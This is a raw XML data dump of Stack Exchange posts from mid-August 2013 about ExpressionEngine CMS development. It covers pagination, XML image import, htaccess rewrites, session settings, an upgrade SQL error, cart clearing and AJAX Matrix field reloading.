  <row Id="12794" PostTypeId="1" AcceptedAnswerId="12796" CreationDate="2013-08-16T01:32:47.250" Score="1" ViewCount="90" Body="&lt;p&gt;I am using an add-on that that outputs a list of messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As is the same with the other native ExpressionEngine tags, it is dependent on the pagination value on the URL to determine the offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem lies in a specific use case where if no &quot;P&quot; value is set in the URL, I want the add-on to get the &quot;10 latest messages&quot;. Since 'P' value is not available, I don't know if the &quot;10 latest message&quot; is possible to get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking if there is a way to set the &quot;P&quot; value when page is just starting to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this? If not, any suggested alternatives to this issue?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-16T03:03:02.693" Title="Alternate way to specify Pagination" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12795" PostTypeId="1" CreationDate="2013-08-16T02:20:12.620" Score="1" ViewCount="216" Body="&lt;p&gt;I have purchased the Solspace Importer plugin to import xml data (properties data) into one of my client's website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It managed to grab the data from the REAXML file manually but I'm having trouble displaying the given image url from the XML file into the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the example file:&#xA;&lt;a href=&quot;http://demo.slickdesign.com.au/rance-cms/mydesktop/residential_sample.xml&quot; rel=&quot;nofollow&quot;&gt;demo.slickdesign.com.au/rance-cms/mydesktop/residential_sample.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I grab the image url from the XML file and map it into Expression Engine field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Vic&lt;/p&gt;&#xA;" OwnerUserId="1902" LastEditorUserId="104" LastEditDate="2013-08-16T07:57:34.000" LastActivityDate="2013-08-16T17:42:41.437" Title="Import image to Expression Engine from XML file" Tags="|solspace|solspace-importer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12796" PostTypeId="2" ParentId="12794" CreationDate="2013-08-16T03:03:02.693" Score="2" Body="&lt;p&gt;Is the list of messages sorted, with the &quot;10 latest messages&quot; first (sort on date, descending), or last (sort on date, ascending)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &quot;10 latest messages&quot; are first, they should be on the first page of results--which would be the URL with no P, or with P0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, if you know the offset--say you want messages 90-100, the channel entries tag &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#offset&quot; rel=&quot;nofollow&quot;&gt;Offset&lt;/a&gt; parameter lets you do that. E.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset=&quot;90&quot; limit=&quot;10&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-16T03:03:02.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12797" PostTypeId="2" ParentId="12785" CreationDate="2013-08-16T05:16:42.077" Score="0" Body="&lt;p&gt;This sounds pretty complicated on the account of unique row IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about a sneaky workaround, since you're using AJAX already - after saving the partial form data, including Matrix, do an AJAX request that would return a safecracker form with Matrix field rendered with {field:matrix_field} and then parse that HTML with Javascript for the row IDs that you need?&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-08-16T05:16:42.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12798" PostTypeId="2" ParentId="12795" CreationDate="2013-08-16T07:18:52.737" Score="0" Body="&lt;p&gt;I hope i understand you well,&#xA;create new folder in &lt;em&gt;EE File upload preferences&lt;/em&gt; with the specific path that you need &#xA;later in your channel field you can pick that folder that you created with the specific path &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More about image preference &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-08-16T07:18:52.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12799" PostTypeId="2" ParentId="12722" CreationDate="2013-08-16T08:36:54.370" Score="2" Body="&lt;p&gt;This is what I eventually went with;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Rewrite for new language based urls&#xA;# This is to try and get all current pages going to /en/(old url) with a 301 redirect&#xA;RewriteCond $1 !\.(gif|jpe?g|png|ico|js)$ [NC]&#xA;RewriteCond %{REQUEST_URI} !^/(index\.php|en)(/.*)?$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /en/$1 [R=301,L]&#xA;&#xA;# Removes index.php&#xA;RewriteCond $1 !\.(gif|jpe?g|png|ico)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure that could be refined a fair bit as there is some duplication but it works so I'm happy with it for now as it is a temporary requirement.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-16T08:36:54.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12800" PostTypeId="1" AcceptedAnswerId="12806" CreationDate="2013-08-16T08:49:27.063" Score="1" ViewCount="60" Body="&lt;p&gt;Can a member turn off email notifications for messages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, is there a way to save this setting for each member in a Safecracker form?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-16T10:31:49.727" Title="Members - Can a member turn off email notifications for messages?" Tags="|members|email|notification|messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12801" PostTypeId="1" CreationDate="2013-08-16T09:10:46.970" Score="1" ViewCount="158" Body="&lt;p&gt;I have set this hidden variable in my config/config.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Allows changing of the Users Session Length to any number in seconds. For instance, if users should be logged out after 10 minutes of inactivity, the value would be: 600&#xA;// 30 minutes(60 seconds * 30 )&#xA;$config['user_session_ttl'] = 1800; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it is not working. I tried leaving a page inactive and checking it after an hour many times. But I still don't get logged out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I am using Safecracker and Safecracker Registration for my Member system. I am using EE 2.5.5 with no immediate plans to upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out that &lt;code&gt;user_session_ttl&lt;/code&gt; affects my admin session(logged in via localhost/system) while the session logged in via Safecracker was not affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found another hidden variable, &lt;code&gt;cp_session_ttl&lt;/code&gt;. Is this relevant?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-24T04:02:03.037" LastActivityDate="2013-08-24T04:02:03.037" Title="user_session_ttl hidden variable option not working" Tags="|sessions|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12802" PostTypeId="5" CreationDate="2013-08-16T09:14:24.710" Score="0" Body="&lt;p&gt;Wikipedia definition:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With Ajax, web applications can send data to, and retrieve data from,&#xA;  a server asynchronously (in the background) without interfering with&#xA;  the display and behavior of the existing page. Data can be retrieved&#xA;  using the XMLHttpRequest object. Despite the name, the use of XML is&#xA;  not required (JSON is often used instead), and the requests do not&#xA;  need to be asynchronous.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-16T12:48:56.227" LastActivityDate="2013-08-16T12:48:56.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12803" PostTypeId="4" CreationDate="2013-08-16T09:14:24.710" Score="0" Body="AJAX is an acronym for Asynchronous JavaScript and XML." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-16T12:48:58.883" LastActivityDate="2013-08-16T12:48:58.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12804" PostTypeId="5" CreationDate="2013-08-16T09:25:59.633" Score="0" Body="&lt;p&gt;Developed by &lt;a href=&quot;http://brandnewbox.co.uk/&quot; rel=&quot;nofollow&quot;&gt;brandnewbox.co.uk&lt;/a&gt;, &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; is a highly customisable add-on allowing import of data from numerous different sources including RSS/ATOM feeds, CSV files, XML files and many more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DataGrab can be purchased &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;directly&lt;/a&gt; or over at &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;Devot:ee&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-16T12:48:52.460" LastActivityDate="2013-08-16T12:48:52.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12805" PostTypeId="4" CreationDate="2013-08-16T09:25:59.633" Score="0" Body="A commercial add-on providing a way to import data into ExpressionEngine." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-16T12:48:48.820" LastActivityDate="2013-08-16T12:48:48.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12806" PostTypeId="2" ParentId="12800" CreationDate="2013-08-16T10:31:49.727" Score="1" Body="&lt;p&gt;I think, you are using Safecracker Registration for the member registration process. For turning off the email notification for messages the member's &lt;code&gt;notify_of_pm&lt;/code&gt; need to be set as 'n'. Can you just try by having an input field within form tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;notify_of_pm&quot; value=&quot;n&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then check within exp_members for &lt;code&gt;notify_of_pm&lt;/code&gt; column value for that member if set as 'n'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it didn't work, you will need to create an extension for it which will update it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-16T10:31:49.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12807" PostTypeId="2" ParentId="12772" CreationDate="2013-08-16T10:45:54.930" Score="1" Body="&lt;p&gt;Yes, {name} variable in the forgot password email template always equals the username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be sure, you can see it within the file &lt;code&gt;system/expressionengine/modules/member/mod.member_auth.php&lt;/code&gt; around line number 732 - 740 (EE v2.6.1).&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-16T10:45:54.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12808" PostTypeId="1" CreationDate="2013-08-16T12:33:16.793" Score="0" ViewCount="87" Body="&lt;p&gt;did everything as described in the docs on upgrading EE1 to EE2 and getting stuck around 2.1.4 and then this error comes up on the screen.  How do I upgrade to 2.6.1 from 1.7.3 without getting this error?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1064&#xA;&#xA;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '`wm_name` varchar(80), `wm_type` varchar(10) DEFAULT 'text', `wm_image_path` v' at line 3&#xA;&#xA;ALTER TABLE `exp_member_groups` ADD `wm_id` int(4) UNSIGNED AUTO_INCREMENT, `wm_name` varchar(80), `wm_type` varchar(10) DEFAULT 'text', `wm_image_path` varchar(100), `wm_test_image_path` varchar(100), `wm_use_font` char(1) DEFAULT 'y', `wm_font` varchar(30), `wm_font_size` int(3) UNSIGNED, `wm_text` varchar(100), `wm_vrt_alignment` varchar(10) DEFAULT 'top', `wm_hor_alignment` varchar(10) DEFAULT 'left', `wm_padding` int(3) UNSIGNED, `wm_opacity` int(3) UNSIGNED, `wm_x_offset` int(4) UNSIGNED, `wm_y_offset` int(4) UNSIGNED, `wm_x_transp` int(4), `wm_y_transp` int(4), `wm_font_color` varchar(7), `wm_use_drop_shadow` char(1) DEFAULT 'y', `wm_shadow_distance` int(3) UNSIGNED, `wm_shadow_color` varchar(7), `id` int(10) UNSIGNED AUTO_INCREMENT, `upload_location_id` int(4) UNSIGNED DEFAULT '0', `title` varchar(255), `short_name` varchar(255) DEFAULT '', `resize_type` varchar(50) DEFAULT '', `width` int(10) DEFAULT '0', `height` int(10) DEFAULT '0', `watermark_id` int(4) UNSIGNED, `file_id` int(10) UNSIGNED AUTO_INCREMENT, `cat_id` int(10) UNSIGNED, `sort` int(10) UNSIGNED DEFAULT '0', `is_cover` char(1) DEFAULT 'n', `site_id` int(4) UNSIGNED DEFAULT '1', `rel_path` varchar(255), `status` char(1) DEFAULT 'o', `mime_type` varchar(255), `file_name` varchar(255), `file_size` int(10) DEFAULT '0', `field_1` text, `field_1_fmt` tinytext, `field_2` text, `field_2_fmt` tinytext, `field_3` text, `field_3_fmt` tinytext, `field_4` text, `field_4_fmt` tinytext, `field_5` text, `field_5_fmt` tinytext, `field_6` text, `field_6_fmt` tinytext, `metadata` mediumtext NULL, `uploaded_by_member_id` int(10) UNSIGNED DEFAULT '0', `upload_date` int(10), `modified_by_member_id` int(10) UNSIGNED DEFAULT '0', `modified_date` int(10), `file_hw_original` varchar(20), `can_admin_upload_prefs` CHAR(1) DEFAULT 'n' NOT NULL AFTER `can_admin_channels`&#xA;&#xA;Filename: /home/user/admin/expressionengine/libraries/Smartforge.php&#xA;&#xA;Line Number: 122&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I then remove all the new EE2 files and try and go back to EE1, I load my homepage and get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Site Error: Unable to Load Site Preferences; Invalid Preference Data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-09-16T00:42:40.557" Title="EE1 to EE2 error on 2.1.4" Tags="|ee1|upgrade|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12809" PostTypeId="2" ParentId="12781" CreationDate="2013-08-16T12:46:43.077" Score="2" Body="&lt;p&gt;Straight SQL is much more difficult than a little bit of PHP in a one-off PHP-enabled template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JayF is right that a new File field to hold your extracted data is a good idea - you can delete the old field after you see the migration has worked as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code assumes you've upgraded to EE 2.6+. Replace the top two field names, throw it in a PHP-enabled template, and load it up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$old_field = 'field_id_XX';&#xA;$new_field = 'field_id_XX';&#xA;&#xA;$images = ee()-&amp;gt;db-&amp;gt;query(&quot;&#xA;    SELECT entry_id, $old_field FROM exp_channel_data WHERE $old_field != ''&#xA;&quot;);&#xA;foreach($images-&amp;gt;result_array() as $image)&#xA;{&#xA;    preg_match('/src=&quot;([^&quot;]*)&quot;/i', $image[$old_field], $match);&#xA;    if(!empty($match))&#xA;    {&#xA;        $data = array(&#xA;            $new_field =&amp;gt; $match[1]&#xA;        );&#xA;        ee()-&amp;gt;db-&amp;gt;query(&#xA;            ee()-&amp;gt;db-&amp;gt;update_string('exp_channel_data', $data, 'entry_id = '.$image['entry_id'])&#xA;        );&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-16T12:46:43.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12810" PostTypeId="2" ParentId="8922" CreationDate="2013-08-16T14:40:30.953" Score="1" Body="&lt;p&gt;I used &lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher add-on&lt;/a&gt; and worked great. Gives you the options to see which entries have a translation in draft or published form when you are in the entry list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still trying to import a Data Base and relate the entries to their translation, but Brian Litzinger, the developer has been very helpful in answering some previous questions.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2013-08-16T14:40:30.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12811" PostTypeId="1" AcceptedAnswerId="12890" CreationDate="2013-08-16T15:44:41.697" Score="0" ViewCount="77" Body="&lt;p&gt;I am using the SolSpace user plugin and ran into a minor issue and hope someone can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an input field that users can change their screen name but when I go to change my screen name it removes my name and replaces it with an ID and not my new screen name (From Tony to 1) I used the sample code from the SolSpace site but just don't know why the screen name is deleted and replaced with an ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know its a silly thing but just don't know what?! Thanks in advance for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Tony&lt;/p&gt;&#xA;" OwnerUserId="1450" LastActivityDate="2013-08-19T16:44:55.777" Title="screen_name changes to id" Tags="|solspace-user|solspace|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12812" PostTypeId="2" ParentId="12787" CreationDate="2013-08-16T16:07:14.063" Score="3" Body="&lt;p&gt;Yes, you can display them anywhere on the site, as you say they're just entries. Obviously you'll need to include the store product tags to output the price details or any modifiers if required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to EE's flexibility there are many ways to display featured or related products, some of the easiest is to use a category, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;relationships&lt;/a&gt; or I'd recommend using &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Playa&lt;/a&gt;, or a combination of each of them depending on what you require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I use Playa on product entries so the client can simply choose by dragging and dropping the other products that they want to up-sell on that page (related). Same on the homepage, a &quot;featured&quot; Playa field that the client can select 30 (say) products and the homepage outputs 10 of these randomly keeping the content fresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus Answer&lt;/strong&gt;: Depending on the browser you get different display of the padlock and the more expensive SSLs will also display differently - so not always that prominent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LieYf.jpg&quot; alt=&quot;enter image description here&quot;&gt; &#xA;Example &lt;a href=&quot;http://www.digicert.com/ev-ssl-certification.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;reference&lt;/a&gt; (no recommendation - just first result from Google!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the additional display, these types of SSL show the owner of the SSL. Most consumers/visitors wouldn't have a clue regarding the difference this made and doubtful they'd even understand that an SSL could be registered by a different company from the owners of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally as a developer, I wouldn't recommend to a client as I don't think it's any more beneficial to them, especially at the cost. As a customer visiting a site, I'd be happy for just a normal padlock and security - as long as the site looked respectable, decent and trustworthy.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-16T16:07:14.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12813" PostTypeId="1" AcceptedAnswerId="12815" CreationDate="2013-08-16T16:29:58.933" Score="3" ViewCount="210" Body="&lt;p&gt;Is there a way to programmatically empty the cart? I know you can by submitting a form with name=&quot;empty_cart&quot;, but I'd like to do it programmatically between page loads, not requiring a user input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not possible with native tags, is this something we could build an extension for? &lt;/p&gt;&#xA;" OwnerUserId="206" LastActivityDate="2014-04-21T15:20:10.807" Title="Programmatically empty cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12815" PostTypeId="2" ParentId="12813" CreationDate="2013-08-16T16:39:10.613" Score="3" Body="&lt;p&gt;It depends what you're trying to achieve. If you want to programmatically empty the cart using PHP, this will do the trick (Store v2):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// load the Store module if you haven't already&#xA;require(PATH_THIRD.'store/autoload.php');&#xA;&#xA;ee()-&amp;gt;store-&amp;gt;orders-&amp;gt;clear_cart_cookie();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Store v1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;store_cart-&amp;gt;empty();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to do it using template tags, I would suggest just making a basic template with the checkout form on it, and using javascript to submit the form as soon as the page loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the time you're doing that though, you may as well just use a small checkout form with an &lt;code&gt;empty_cart&lt;/code&gt; button instead of linking to the page in question.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-04-21T15:20:10.807" LastActivityDate="2014-04-21T15:20:10.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12816" PostTypeId="2" ParentId="12788" CreationDate="2013-08-16T16:48:14.433" Score="2" Body="&lt;p&gt;There's no backspace parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution I can think of would be to use css and the &lt;code&gt;:last-child&lt;/code&gt; selector. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modifiers&quot;&amp;gt;&#xA;    {modifiers}&#xA;        &amp;lt;span class=&quot;modifier&quot;&amp;gt;&amp;lt;strong&amp;gt;{modifier_name}:&amp;lt;/strong&amp;gt; {modifier_value}&amp;lt;span class=&quot;separator&quot;&amp;gt;,&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;    {/modifiers}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.modifiers .modifier:last-child .separator {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would work in &lt;a href=&quot;http://caniuse.com/#feat=css-sel3&quot; rel=&quot;nofollow&quot;&gt;all browsers except IE8&lt;/a&gt;, and it doesn't seem like a big deal if IE8 users see an extra comma.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-08-16T16:48:14.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12817" PostTypeId="2" ParentId="12431" CreationDate="2013-08-16T17:23:13.000" Score="4" Body="&lt;p&gt;We just released &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/changelog.html#wygwam-3-1-2&quot; rel=&quot;nofollow&quot;&gt;Wygwam 3.1.2&lt;/a&gt; which brought back the text alignment buttons.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-16T17:23:13.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12818" PostTypeId="2" ParentId="12785" CreationDate="2013-08-16T17:25:15.123" Score="1" Body="&lt;p&gt;Here's my solution. It simply makes an additional request to the form to grab the matrix fields and reinitializes them. I had to trim this up so it may or may not work in it's entirety but you get the idea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function () {&#xA;&#xA;    // ajax form post&#xA;    $(&quot;button[type='submit']&quot;).bind('click', function (e) {&#xA;&#xA;        // select your form&#xA;        var $form = $('#yourform');&#xA;&#xA;        // submit the form&#xA;        $.ajax({&#xA;            type: &quot;POST&quot;,&#xA;            dataType: &quot;json&quot;,&#xA;            url: $form.attr('action'),&#xA;            data: $form.serializeArray();,&#xA;            success: function (data) {&#xA;                if (data.success) &#xA;                {&#xA;                    reloadMatrices(); // here's the magic&#xA;                    if ($form.find('[name=&quot;action&quot;]').val() == &quot;submit&quot;) // your form will have multiple &amp;lt;button name=&quot;action&quot;&amp;gt; tags with different values such as &quot;submit&quot; or &quot;save&quot;&#xA;                    { &#xA;                        alert(&quot;Thank you for your submission! We will be contacting you shortly.&quot;);&#xA;                        window.location = &quot;//&quot; + window.location.hostname + &quot;/confirmation&quot;; // redirect to confirmation page&#xA;                    }&#xA;                }&#xA;            }&#xA;        });&#xA;&#xA;    });&#xA;});&#xA;&#xA;/**&#xA; * function reloadMatrices()&#xA; * &#xA; * Requests the same form and replaces all instances of a Matrix fieldtype with the new form from the request and reinitializes them.&#xA; */&#xA;function reloadMatrices() {&#xA;    $.ajax({&#xA;        type: &quot;GET&quot;,&#xA;        url: window.location,&#xA;        success: function (data) {&#xA;            var $data = $(data);&#xA;&#xA;            // you might be able to use .load() here instead for more concise code&#xA;            $('.matrix-ee2').each(function () {&#xA;                var $this = $(this);&#xA;                $this.replaceWith($data.find(&quot;#&quot; + $this.attr('id')));&#xA;&#xA;                // reinitialize all of the matrices so they work as intended&#xA;                // IMPORTANT: requires an md5 jQuery plugin such as https://github.com/placemarker/jQuery-MD5&#xA;                window['initMatrix_' + $.md5($this.attr('id'))](); &#xA;            });&#xA;&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-08-16T17:25:15.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12819" PostTypeId="2" ParentId="12795" CreationDate="2013-08-16T17:42:41.437" Score="1" Body="&lt;p&gt;According to your XML file link, images are stored in an XML node's attribute. Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;floorplan id=&quot;1&quot; modTime=&quot;2009-01-01-12:30:00&quot; url=&quot;http://www.realestate.com.au/tmp/floorplan1.gif&quot; format=&quot;gif&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately Importer cannot read XML node attributes, nor read self-closing XML nodes as of this writing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct format to import the image URL in EE using Importer would be, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;floorplan&amp;gt;http://www.realestate.com.au/tmp/floorplan1.gif&amp;lt;/floorplan&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;★ As additional/bonus information, if you're looking to import images into EE's &lt;strong&gt;File field&lt;/strong&gt;, for example, you need to import the filename &lt;em&gt;only&lt;/em&gt;, preceded by the target upload directory's ID. For example, if I want to import &lt;code&gt;my_file.jpg&lt;/code&gt; into my upload directory 1, I would import this string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filedir_1}my_file.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...followed by uploading my actual image file in the upload directory through FTP or other means.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-16T17:42:41.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12820" PostTypeId="1" AcceptedAnswerId="12825" CreationDate="2013-08-16T17:56:40.437" Score="0" ViewCount="205" Body="&lt;p&gt;Using this plug-in.&#xA;&lt;a href=&quot;http://biberltd.com/en/documentation/software/biber_ltd_multi_language_support/&quot; rel=&quot;nofollow&quot;&gt;http://biberltd.com/en/documentation/software/biber_ltd_multi_language_support/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I switch from one language to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the code switching from FR/EN on the top right menu but can't get it to work when a user is deaper into the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused between settings in my htaccess and site structure could anyone offer any insight?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language switching works from main site: link to site in question: &lt;a href=&quot;http://kanuk.com/dev/&quot; rel=&quot;nofollow&quot;&gt;http://kanuk.com/dev/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language switching does not work from deeper link: &lt;a href=&quot;http://kanuk.com/dev/index.php/Collection/femmes/manteaux-chauds&quot; rel=&quot;nofollow&quot;&gt;http://kanuk.com/dev/index.php/Collection/femmes/manteaux-chauds&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2013-08-16T18:58:51.953" Title="Language switcher" Tags="|switch|language|" AnswerCount="1" CommentCount="0" 